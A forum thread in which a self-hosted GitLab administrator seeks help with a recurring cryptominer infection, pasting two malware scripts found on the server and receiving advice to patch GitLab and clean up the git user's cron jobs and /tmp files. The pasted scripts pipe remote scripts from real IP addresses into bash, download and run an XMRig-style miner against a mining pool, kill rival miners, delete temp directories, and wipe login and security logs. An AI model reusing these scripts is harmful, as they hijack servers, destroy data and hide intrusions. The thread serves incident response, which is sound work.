I have a ubuntu server with self hosted giltab-ce and two days ago my server started using 400% CPU. My hosting provider advised me to update my Gitlab (which was version 13.6.1), that I updated to 13.9. Still, periodically, there is some process that is starting running and uses more than all the CPU.
At the beginning, I was thinking this was the issue (because the hosting provider attached this link to the email): https://hackerone.com/reports/1154542
Then I saw that the process name was kdevtmpfsi and followed all answers of this question: kdevtmpfsi using the entire CPU
Still nothing helped, the scripts periodically starts over and over again after a few hours.
In /tmp/.ssh folder I found a redis.sh script with this content:
while true
do
killall -q -9 kdevtmpfsi
killall -q -9 kinsing
killall -q -9 xmrig
killall -q -9 xmr
killall -q -9 qwer
pkill -9 kthreaddk
pkill -9 kwolker
pkill -9 mini
pkill -9 kacpi_notifyd
pkill -9 vim
pkill -9 mym
pkill -9 network
pkill -9 .libs
pkill -9 javase
pkill -9 libexec
rm -rf /usr/lib/vmware-vsphere-ui/server/postgres
rm -rf /usr/lib/vmware-vsphere-ui/server/postgres_start.sh
rm -rf /usr/lib/vmware-vsphere-ui/server/kvm.sh
rm -rf /usr/lib/vmware-vsphere-ui/server/elastic.sh
rm -rf $HOME/postgres
rm -rf $HOME/kvm.sh
rm -rf $HOME/elastic.sh
ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'cpu-force-autoconfig' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kvm.sh' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'elastic.sh' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'wget' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'curl' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'urlopen' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep '/var/tmp/.postgres/' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'xmrig' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'xmr' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kthreaddk' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kthreaddi' | awk '{print $2}' | xargs -i kill -9 {}
PROC_NAME=/tmp/system
ProcNumber=`ps -ef |grep -w $PROC_NAME|grep -v grep|wc -l`
if [ $ProcNumber -le 0 ];then
if hash curl 2>/dev/null;then
curl http://135.125.217.87/stl.sh | bash >/dev/null 2>&1 &
else
python -c "import requests;url='http://165.227.239.108/stl.sh';tmp=requests.get(url);open('./static.sh','wb').write(tmp.content)"
bash ./static.sh >/dev/null 2>&1 &
fi
break
fi
done
I removed that file, created a blank one and gave only read permission.
The user that invokes this process is git. I stopped gitlab and deleted the git user.
Could you please advise me what to do next? What I would like to understand is the process that creates those files and cronjobs.
I'm trying everything but after a few hours the problem returns. What should I look for when it returns next time?
Edit: I found another file that I think is the one that is downloading the one I pasted on top.
dan@dan:~/$ cat stl.sh
rm -rf /var/tmp/*
rm -rf /tmp/*
killall -q -9 /var/tmp/.postgres/*
ps aux | grep -v grep | grep 'runnerbus' | awk '{print $2}' | xargs -i kill -9 {}
rm -rf /var/tmp/.postgres
rm -rf /tmp/.*
rm -rf /var/tmp/.*
rm -rf /etc/cron.hourly/oanacroner
rm -rf /etc/cron.hourly/oanacrona
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.daily/oanacrona
rm -rf /etc/cron.monthly/oanacroner
rm -rf xmrig-6.13.1/
rm -rf xmrig-6.13.1-linux-x64.tar.gz
rm -rf $HOME/moneroocean/
rm -rf /var/tmp/moneroocean/
rm -rf /root/moneroocean/
rm -rf $HOME/c3pool/
rm -rf /tmp/.tmp/xlog
rm -rf /var/tmp/.postgres
rm -rf /tmp/kwolker
rm -rf /tmp/kdevtmpfsi
rm -rf /tmp/kinsing
rm -rf /tmp/libexec
rm -rf /tmp/mym
rm -rf /usr/bin/kinsing*
rm -rf /etc/cron.d/kinsing*
ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep '/var/tmp/.postgres_start/postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
killall -q -9 workrun.sh
killall -q -9 /tmp/kwolker
killall -q -9 /tmp/mym
killall -q -9 xmr
killall -q -9 kdevtmpfsi
killall -q -9 kinsing
killall -q -9 xmrig
killall -q -9 minerd
killall -q -9 minerd
killall -q -9 xig
killall -q -9 cpuminer
pkill -9 kworker
pkill -9 kwolker
pkill -9 mym
sleep 1
if hash curl 2>/dev/null;then
echo "has curl 1"
curl --progress-bar http://135.125.217.87/static.c -o /tmp/system
else
echo "haven't curl 1"
python -c "import requests;url='http://135.125.217.87/static.c';tmp=requests.get(url);open('./system','wb').write(tmp.content)"
fi
chmod +x /tmp/system
mkdir /tmp/.ssh
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/utmp
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/message
sed -i '/107.191.63.34/'d /var/log/messages
sed -i 's/107.191.63.34/127.0.0.1/g' secure
/tmp/system -o 207.38.87.6:3333 -p $HOSTNAME -k -B --cpu-priority 5 -l /tmp/.ssh/xlog --randomx-1gb-pages >/dev/null 2>&1
sleep 1
if hash curl 2>/dev/null;then
echo "has curl 2"
curl http://135.125.217.87/stlalive.sh -o /tmp/.ssh/redis.sh
else
mkdir /tmp/.ssh
echo "haven't curl 2"
python -c "import requests;url='http://135.125.217.87/stlalive.sh';tmp=requests.get(url);open('/tmp/.ssh/redis.sh','wb').write(tmp.content)"
fi
sleep 1
chmod +x /tmp/.ssh/redis.sh
nohup /tmp/.ssh/redis.sh >/dev/null 2>&1 &
rm -rf ./run.sh
I removed this file, created a new file with the same name only readable. Then I stopped all processes from git, removed git user again. Recofigured gitlab. It's 10 hours since no other attack.
We also faced with this issue, please update first your GitLab to one of the versions:
13.10.3
13.9.6
13.8.8
After that clean crontab connected with git user and remove all the files owned by git user located in /tmp folder.
Now you can restart the server and it should be fine :)